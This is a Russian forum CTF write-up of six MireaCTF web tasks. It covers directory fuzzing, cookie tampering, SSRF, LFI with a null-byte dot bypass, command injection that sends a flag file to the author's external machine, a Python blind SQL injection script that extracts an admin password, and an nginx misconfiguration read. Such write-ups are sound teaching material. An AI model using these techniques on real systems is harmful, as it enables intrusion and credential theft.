• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Writeup Writeup web tasks MireaCTF

Местный

Grey Team
23.04.2023
304
126
Всех приветствую! Решил написать короткий райтап по MireaCTF - это соревнования только для студентов. Пишу райтап только по веб таскам.
1 ТАСК
1700417519695.png

1700417537090.png

1700417660797.png
Я решал этот таск хитрым способом. Конечно, стоило бы сначала пофаззить сайт без авторизации, а потом указав куки в фаззер снова пофаззить, чтобы найти скрытые директории, возможно какие-то креды/конфиг файлы и т.д. Мне было настолько лень, что я начал ручками перебирать стандартные креды ака admin:admin, 1:1, admin:123, 123:123. В итоге креды 1:1 подошли и меня перекинуло на главную страничку магазина.
1700417800245.png
1700417660797.png

Тут мы видим список товаров и цену. А также наш балик 50$. Я уже знал примерно, что делать, дело в том, что когда я еду в вуз я стараюсь читать райтапы по уязвимостям, чтобы быть в тренде:) Мой товарищ с WAPT написал неплохую статью на тему
Я ее прочитал и думаю... Где мой промокод, ёлки-палки. Я не смогу воспользоваться этой уязвимостью, ведь у меня нет промо... Я ленивый. Поэтому просмотрел исходник таска(стили/js файлы/комментарии) и ничего не нашел. Стал думать еще ленивее:) На платформе MireaCTF был список команд, которые уже решили этот таск. Я подумал, что найдется такой же ленивый человек, как и я (не математик) и "набрутит" себе очень много $ на аккаунт, больше, чем 1337 чтобы хватило на покупку флага несколько раз. А раз он ленивый, то и креды создаст простые. В итоге на учетке 123:123 был балик, который подошел под покупку флага и я сдал флаг. Ну это смешно, просто повезло. На деле таск решается вот так:
1) Фаззим ресурс:
Bash:
dirb https://task.com >> ~/Desktop/file.txt #Первоначальный этап
feroxbuster -u https://task.com -w /ПУТЬ/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -d 2 --force-recursion -x txt,php,html
dirb нашел /.git/HEAD (CODE:200|SIZE:22)
feroxbuster не нашел .git с мидл словаря, т.к
1700419159102.png

Его попросту нет. В дефолтном тоже нет. Он есть в common.txt.
Bash:
/usr/share/dirb/wordlists/common.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
Так что в первую очередь используем common словарик, чтобы начать "точку" входа, а далее перекинуть все линки в feroxbuster, т.к там есть режим parallel сканирования. Сразу скажу, что я не профессионал и вы можете меня поправлять, я лишь рассказываю про решение свой команды.
В file.txt у нас хранятся первоначальные линки, которые мы будем прокидывать в feroxbuster и рекурсивно фаззить. Переходим в feroxbuster
Переходим в примеры использования и находим
Bash:
cat large-target-list | ./feroxbuster --stdin --parallel 10 --extract-links --auto-bail
Вот пример нам дали. Теперь берем наши линки и создаем команду со словариком. Ток линки надо от мусора очистить:
1700420356680.png

У меня после очистки осталось 3 линка. Берем их и сохраняем.
Bash:
cat file.txt | feroxbuster --stdin --parallel 3 --extract-links --auto-bail
--auto-bail = Automatically stop scanning when an excessive amount of errors are encountered
полученный линк. Там и хранится промокод:
1700420792805.png

"CAPYDISCOUNT". Дальше используем метод из той статьи, что я скинул.
2 ТАСК
1700420886537.png

1700420908889.png
1700420917201.png

Перехватываем запрос и видим кук invite=md5(false) = нас не пускают из-за этого кука.
1700421065055.png

1700421106037.png

1700421139696.png

после замены кука с md5(false) на md5(true) нас впустили
1700421216069.png

В этот раз включаем перехватчик и следуем(forward)
1700421340166.png

Видим параметр URL.
1700421377752.png

Кроме гифки больше ничего нет. Подставляем в url и забираем флаг. Вопрос к профи, почему нам отдался флаг? В чем тут идея?
1700421446275.png

Если что вместо мы можем использовать , http://127.0.0.1,http://127.1 и т.д. Вот список обхода локалхоста:
3 ТАСК
1700421731696.png

1700421742299.png
1700421756877.png

Просто есть вот такой вот лендинг. И смена языков странички (en, ru, de, es). Поменяем к примеру на ru. Появился get параметр lan. Подставим туда тестовую полезную нагрузку, где текст разделяется точками и заметим, что точки удаляются.
1700421840253.png

Попробуем загуглить lfi payload и подставив
1700422099554.png

Мы ничего не получаем...
Почему мы вводим /../ n-ое количество раз? Я так полагаю, что мы находимся условно вот тут: /var/www/html/index.html
А как перейти в etc/passwd. Для этого нужно откатиться назад.
1700422643483.png

Если не прокатывает, то увеличиваем. Способ забайпассить точки с помощью нулевого байта. Этот метод мне подсказал товарищ:
1700422688226.png

Это работает! Кстати где-нибудь обсуждался bypass dot (точек). Я читал не находил этот способ, когда нулевый байт встраивается между точек.
1700422709089.png

4 ТАСК
1700422891913.png

1700422878956.png
Этот таск практически никто не решил. Потому что у студентов не хватило деняк на белый адрес:))
1700423090587.png

RCE-Remote code execution - удалённое внедрение кода на сервере. Обратные кавычки обозначают, что эту команду надо исполнить. 15***** - это наша атакующая машина с которой читаем файл flag.txt.
Или можно через ngrok
`base64 flag.txt | tr -d "\n"`
Или Burp Collaborator
5 ТАСК
1700423772950.png

1700424426235.png
Регистрируем учетку и входим, далее перехватываем страничку. И видим куки:
1700424471429.png

1700425151071.png

1700425163273.png

Сайт по-разному реагирует на две разные полезные нагрузки, а значит скуля есть. Welcome на страничке = true, если welcome не найден, то false.
SQLMAP не смог найти скулю. Поэтому был написан эксплоит:
Python:
from requests import Session
from bs4 import BeautifulSoup
import requests
import string

host = 'http://localhost:8000'

wordlist = string.ascii_lowercase + string.digits


def brute():
    password = ''

    for i in range(1, 45):
        for symbol in wordlist:
            req = f"ergerger' OR SUBSTRING((SELECT password FROM users_info WHERE username = 'admin'), {i}, 1) = '{symbol}"
            r = requests.get(host, cookies={"username": req})
            if 'Welcome' in r.text:
                print(f"{symbol} char is found")
                password += symbol
    return password


if __name__ == '__main__':
    print(brute())
Вопрос к экспертам. Как подружить данную скулю с sqlmap. Почему sqlmap -r file.txt (* в cookie) --technique=B --dbms=MySql --prefix="'" (пробовал с и без) --level=5 --risk=3.
1700425642198.png


6 ТАСК
1700427478799.png

1700426917094.png
1700426935660.png

Фаззим и находит /backup/backup.zip. Скачиваем и смотрим содержимое
1700426981996.png

/images_secret/flag.txt вот такой путь до флага. Попробуем его прочитать на сервере.
1700427024405.png

Жалко. Тогда попробуем глянуть конфиг. файлы.
1700427076478.png

/img=/var/images
Читаем флаг
/img_secret/flag.txt
1700427125346.png

Это называется nginx misconfig. Почему мы смогли прочитать файл я не знаю, потому что я никогда не создавал свои веб ресурсы и понимаю всех этих тонкостей конфигураций сервера. Будет здорово, если опытные люди подскажут. Если что флагами светить имею полное право, т.к первый этап MireaCTF уже завершился.
1700427633291.png
 

Вложения

  • 1700417553347.png
    1700417553347.png
    3,4 КБ · Просмотры: 109
  • 1700420873911.png
    1700420873911.png
    420 байт · Просмотры: 104
  • 1700423820379.png
    1700423820379.png
    12,6 КБ · Просмотры: 98
  • 1700424652425.png
    1700424652425.png
    23,4 КБ · Просмотры: 104
  • 1700424673272.png
    1700424673272.png
    21,5 КБ · Просмотры: 103
Последнее редактирование:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab